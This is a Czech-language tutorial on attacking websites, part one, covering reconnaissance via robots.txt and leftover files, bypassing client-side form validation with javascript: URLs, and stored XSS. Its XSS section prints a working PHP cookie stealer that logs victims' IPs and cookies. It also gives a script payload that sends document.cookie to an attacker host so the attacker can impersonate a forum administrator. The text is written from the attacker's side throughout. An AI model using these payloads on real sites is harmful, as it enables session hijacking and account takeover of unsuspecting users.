WEB Hacking – Útok na web

PHP code Tento text je ucelený soubor metod útoků na web. Jsou zde popsány základní principy důležité k pochopení toho, jak takové napadení webové stránky může vypadat. A jak tyto znalosti dále rozvíjet. Učit se číste konkrétni útoky na web bez znalosti funkčnosti a vnímání souvislostí je zbytečné, na to jsou vhodnější boti, ne lidé. Umění průniku je znalost tématu, ne použití programu s tlačítkem „hackuj“. Útok na Web 1. část obsahuje 1.1. Úvod, 1.2. Informace, 1.3. Javascript, 1.4. XSS. 2. část pak: 2.1. SQL, 2.2. PHP, 2.3. ASP, 2.4. Záver.

1.1. Úvod.

Tento text je uceleny soubor metod utoku na web. Jsou zde popsany zakladni principy dulezite k pochopeni jak takove napadnuti webove stranky muze vypadat a jak tyto znalosti dale rozvijet. Ucit se ciste konkretni utoky na web bez znalosti funkcnosti a vnimani souvislosti je zbytecne, na to jsou dobri boti ne lidi. Umeni pruniku je znalost tematu, ne pouziti programu s tlacitkem „hackuj“. Znalost nabyta ctenim dokumentace, zkoumanim zdrojoveho kodu a nasledne jeji aplikaci.

1.2. Informace.

Zakladni princip utoku je ziskani informace. Je dobre vedet na co utocite a jake mate moznosti. To znamena napriklad zjistit si jaka aplikace se za zobrazovanou strankou skryva nebo jaka je configurace serveru. To vede k dalsimu kroku, jako je obstarani exploitu, zdrojoveho kodu konkretni webove aplikace nebo utok

metodou pokus omyl. Moznosti je vic nez dost. Konkretni banalni priklad ziskani kriticke informace muze vypadat treba takto. Webstranka na domene www.spatnastranka.cz ma vlastni redakcni system na spravu
obsahu stranky. Tim odpada moznost pouziti exploitu pro jiz nalezenou chybu nebo obstarani zdrojoveho kodu. Proto utocnik zkusi stesti. Podiva se jestli je na serveru soubor robots.txt. Tento soubor na serveru ani nemusi byt, jde totiz o soupis pravidel pro indexovaci roboty kteri mapuji stranky. Napriklad Google robot. Webmaster do robots.txt vlozi pravidlo Disallow pro objekty ktere nechce aby robot zaznamenal a posleze zverejnil. Ale protoze utocnik se zadnymi pravidli neridi, teto informace zneuzije. Takze dejme tomu ze obsah na www.spatnastranka.cz/robotx.txt je Disallow: /admin. Tim se utocnik dozvi kterou slozku nebo soubor webmaster nechce svetu ukazat. Pristupem na www.spatnastranka.cz/admin muze byt utocnik extremne prijemne prekvapen nezaheslovanym administracnim systemem a kdyz ne, aspon bude vedet kam dal smerovat sve kroky. Dalsi mozne „blbe“ soubory: phpinfo.php test.php config.inc mysql.inc …

Informace lze ziskat nejen ze stranek ale i ze sluzeb, viz. zone transfer, whois, google hacking.. Klicova slova k prozkoumani: www html apache

1.3. Javascript.

Jde o nastroj urceny k modifikaci stranky behem zobrazovani. Vkladani javascriptu neni jen zalezitosti autora stranky. Prohlizec nacita vsechny soubory na ktere stranka odkazuje a cela stranka se pak prohlizi z lokalnich dat, vcetne javascriptu. To dava prilezitost k tomu aktivne pracovat s obsahem.
Nejjednodusi vlozeni vlastiho scriptu do stranky na kterou se utoci je primo pres prohlizec. Script se vlozi do panelu adresy kde se normalne pise url.

___________________________________________________
Adresa: |http://spatnastranka.cz |
„„„„„„„„„„„„„„„„„„„„„„„„„`

Diky tomu je mozne menit i obsah hodnot ve formularich ktere se normalne editovat nedaji jako schovane nebo zakazane. Konkretni banalni priklad javascript injection. Registracni formular na strance http://spatnastranka.cz/registrace.php je hlidany javascriptem aby uzivatel mohl zadavat jen znaky abecedy a cisla, ostatni znaky smaze. To je samozrejme chyba.

_________________________
Jmeno: |~!@#$%^&*()_+ | // polozka s nepripustnou hodnotou
„„„„„„„„„„„„`
[ odeslat ] // tlacitko odeslani

Zdroják:

<script>
function check(form) {
form.jmeno.value = form.jmeno.value.replace(/[^0-9a-zA-Z ]/g, „“);
form.submit();
}
</script>

</form>
Pri clicknuti na tlacitko se provede funkce „check“ ktera prefiltruje hodnotu ve formulari a nasledne jej odesle. Tomu se utocnik vyhne vyse zminovanym zpusobem. Do panelu adresa napise script ktery odesle formular bez kontroli zadanych dat.

<form name=“mujForm“>
<input type=“text“ name=“jmeno“>
<input type=“button“ onclick=“Javascript:check(mujForm);“ value=“odeslat“>

___________________________________________________
Adresa: |javascript:document.mujForm.submit(); |
„„„„„„„„„„„„„„„„„„„„„„„„„`

Syntaxe javascriptu umoznuje zapsat cokoliv do jednoho radku. To dava utocnikovi vetsi silu. Dejme tomu ze polozka jmeno je ve stavu kdy do ni nelze zapisovat a tudiz menit ji. Timto scriptem ji lze povolit k editaci.

javascript: eval(document.mujForm.jmeno.disabled=““);

Rozsirene vyuziti tohoto utoku nez jen male zmeny na strance, je napriklad protlaceni scriptu jako polozky formulare ktera se zobrazuje i ostatnim uzivatelum. Ale o tom uz v XSS. Pro lepsi zvladnuti Javascript injection je dobre se aspon trochu orientovat v Javascriptu, viz http://w3.org
http://w3schools.com http://developer.mozilla.org/en/docs/JavaScript

1.4. XSS

Pokrocilejsi technika utoku s javascriptem. Cilem utocnika je spustit script u sve obeti. Toho docili tak ze script zakomponuje na stranku kterou si obet zobrazi a tim ho spusti. Script by mel byt nenapadny a efektivni. To znamena co nejmene kodu k pozadovanemu efektu. Data ktera skript ziska musi ulozit na misto ktere je utocnikovi pristupne. Utocnik tak muze ziskat informace o uzovateli a dale je pouzit. Aby script byl ucinny musi byt vlozen na stranku se kterou ma obet nejaky vztah. Napriklad administartor fora. Admin aby mohl spravovat forum musi se prihlasit, po prihlaseni obdrzi identifikacni data diky kterym forum zase pozna ze uzivatel s temito daty je amdin. Ano, utocnik chce ziskat data
ktera dostal admin aby se za nej mohl vydavat. V predchazejici kapitole o Javascriptu jste si mohli vsimnout ze Javascript pracuje pouze s daty patricimi k zobrazovane strance. Proto musi byt utocnikuv script spusten na strance fora. Zpusobu vlozeni scriptu je vic, zalezi jen od neznalosti autora stranky a
znalosti utocnika. Pokud forum nekontroluje prispevky proti scriptum, zde muze byt potencialni bezpecnostni chyba. Jina moznost je zakomponovat script do adresy stranky. Adresa totiz muze obsahovat data se kterymi stranka dale pracuje a je moznost ze je vklada do zdrojoveho kodu stranky.

Priklad. Predpokladejme ze jde o nam jiz znamou chybu. Forum na adrese http://spatnastranka.cz/forum/ je verejne forum kde se muze registrovat kazdy a identifikacni data se ukladaji do takzvane cookie „susenky“. Obsah cookie si pamatuje prohlizec, tzn. data jsou ulozena lokalne u uzivatele. Forum nastesti pro utocnika nekontroluje ke ktere IP jake cookie patri. Utocnik se zaregistruje
a vyzkousi v nenapadnem tmavem koutu fora jestli lze do stranky vlozit script. Do pole prispevku vlozi napriklad kod:

<script>alert(‚hloupa chyba‘);</script>

a odesle jej. Zobrazi si svuj prispevek a vyskoci okno s textem ‚hloupa chyba‘, script se spustil. Smaze prispevek a nachysta si neco lepisho. Treba cookie stealer. Ten funguje tak ze script ze stranky presmeruje uzivatele na utocnikuv script ktery si ulozi data neboheho uzivatele. Cookie stealer muze vypadat napriklad takto:

/* cstealer.php
*****************************************************************************/
<?php
$soubor = ‚dump.txt‘; // logovaci soubor
$ip=$_SERVER[‚REMOTE_ADDR‘]; // ip uzivatele
$f=fopen($file, ‚a‘); // otevre soubor pro zapis od konce
fwrite($f, $ip.“ :: „.$_GET[„c“].“\n“); // zapise data do souboru
fclose($f); // zavre soubor
header(‚location: http://airdump.net‘); // presmerovani na jinou stranku
?>
/****************************************************************************/

Kod je pouze ilustrativni. Jde o velice nesikovny cookiestealer protoze dochazi k presmerovani a uzivateli
to bude podezrele. Nicmene svuj ucel to splni. Dalsi velice dulezita cast je presmerovani obsahu cookie od uzivatele k utocnikovu scriptu. Toho docilime javascriptem umistenym na foru.

<script>
document.location=(‚http://utocnik.org/cstealer.php?c=’+document.cookie);
</script>

A to je vse. Uzivatel si zobrazi utocnikuv prispevek a najednou kouka na uplne jinou stranku. Obet je zmatena a utocnik ma data potrebna k tomu aby se za nej mohl vydavat.

Klicova slova k prozkoumani: xss php

diskuze Web hacking PHP XSS

Kam dál?